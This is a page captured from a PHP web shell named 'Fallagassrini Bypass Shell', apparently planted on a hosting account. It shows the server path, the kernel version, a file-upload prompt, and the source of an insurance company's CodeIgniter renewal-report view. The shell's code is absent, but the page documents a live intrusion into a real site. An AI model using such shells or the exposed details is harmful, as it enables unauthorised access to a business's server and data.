? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sibs_draft/system/application/views/Report/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sibs_draft/system/application/views/Report/renewcoverwiserep.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?> <?php
 if ($search == "")
            $search = 'search';
       if($fromdate == '')
            $fromdate = 'fromdate';
        if($todate=='')
            $todate = 'todate';

    $cover=$this->mastermodel->get_data_srow('covers',$search,'id');
  $bra_name=$this->customermodel->getSingleFieldValue('ourbranch','branchname','id',$branch_id);
?>
<div class="select-bar">
    <table width="100%"><tr><td><label>
    <img src="<?=base_url()?>/assets/images/backbutton.png" title="Back" class="clickimage"  onclick="loadrenewal()" alt="Back" align = "center" width="25" height="25"  /></label>
            </td><td align="center">
Cover Renewal Report
     </td><td align="right">    
         <label><?=anchor('report/genreprenewcoverwise/placing_slip/renewcoverwisepdf/'.$fromdate.'/'.$todate.'/'.$search.'/'.$branch_id.'/', '<img src="'.base_url().'/assets/images/pdf.png" title="PDF" align = "center" width="20" height="20">',array('class'=>'delete','onclick'=>"return confirm('Are you sure want to download')"))?></label>
         <label><?=anchor('report/genreprenewcoverwise/placing_slip/renewcoverwisexls/'.$fromdate.'/'.$todate.'/'.$search.'/'.$branch_id.'/', '<img src="'.base_url().'/assets/images/xls.png" title="Excel" align = "center" width="20" height="20">',array('class'=>'delete','onclick'=>"return confirm('Are you sure want to download')"))?></label>
		</td></tr></table></div>

<table class="reportheader">

    <tr><td style="width:20%">Branch:</td><td><?=$bra_name?></td></tr>
    <tr><td style="width:20%">Cover:</td><td><?=$cover->cover?></td></tr>
    <tr><td style="width:20%">Period:</td><td> <?if ($todate != 'todate'){ ?>  <?=$fromdate?> to <?=$todate?> <? } ?></td></tr>

</table>



<table class="sort"><thead><tr>
                            <th>Sl No</th>
                            <th style="width:10%">Renewal Date</th>
                            <th>Quotation Ref No</th>
                            <th>Insured/ Policy No</th>
                            <th>Insurer</th>
                            <th>Account Holder</th>
                            <th>Gross Premium</th>
                            <th>Brokerage Commission</th>
                            <th>Commission Others</th>
                            <th>Net Premium</th>


                              </tr>


<?php
        $incr =0;
        $cctot=0;
        $actot=0;
        $nettot=0;
        $gptot=0;
    $i=1;
foreach($viewinfo as $updata)
{
if($updata['insurance_company_id']!=0)
 $comp=$this->mastermodel->get_data_srow('insurance_company',$updata['insurance_company_id'],'id');
else
    $comp->company_name='';
$stf=$this->mastermodel->get_data_srow('staffpersonaldetails',$updata['staffid'],'id');
$type=$this->customermodel->getSingleFieldValue('customers','type','id',$updata['customerid']);
	      if($type=="Individual")
	      {
                  $cus=$this->mastermodel->get_data_srow('customer_personal_ind',$updata['customerid'],'customer_id');
              }
              else {
                   $cus=$this->mastermodel->get_data_srow('customer_corp_info',$updata['customerid'],'customer_id');
              }
	     ?>
                            <tr>
                                            <td><?=$i++;?></td>

                                            <td><?php echo $this->mastermodel->convdatformat($updata['qdate']);?></td>
                                            <td><?=$updata['qtnref'];?></td>
                                            <td><?=$cus->insured;?> / <?=$updata['policy_no'];?>  </td>
                                            <td><?=$comp->company_name;?></td>
                                            <td><?=$stf->name;?></td>
                                            <td style="text-align:right"><?=number_format($updata['premium']+$updata['policy_fees'], 2, '.', ',');?></td>
                                            <td style="text-align:right"><?php
                                             $bc=(($updata['premium']*$updata['brokerage'])/100);
                                            $ac=(($updata['premium']*$updata['percentage'])/100);
                                            $cc=$bc-$ac;
                                            echo number_format($cc, 2, '.', ',');?></td>
                                            <td style="text-align:right"><?=number_format($ac, 2, '.', ',')?></td>
                                            <td style="text-align:right"><?php

                                            $net=($updata['premium']- ($bc))+$updata['policy_fees'];
                                                $gp= $updata['premium']+$updata['policy_fees'];
                                            $cctot+=$cc;
                                            $actot+=$ac;
                                            $nettot+=$net;
                                            $gptot+=$gp;
                                            echo number_format($net, 2, '.', ',');?>
                                            </td>

                            </tr>



<?php
}

if($viewinfo)
{
?>
                            <tr><td colspan="6" align="center"><strong>Total (<?=$updata['currencycode'];?>)</strong></td>
                                <td style="text-align:right"><strong><?=number_format($gptot, 2, '.', ',')?></strong></td>
                                <td style="text-align:right"><strong><?=number_format($cctot, 2, '.', ',')?></strong></td>
                                <td style="text-align:right"><strong><?=number_format($actot, 2, '.', ',')?></strong></td>
                                <td style="text-align:right"><strong><?=number_format($nettot, 2, '.', ',')?></strong></td>
                            </tr>
<?php
}
?>
</table>
   

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net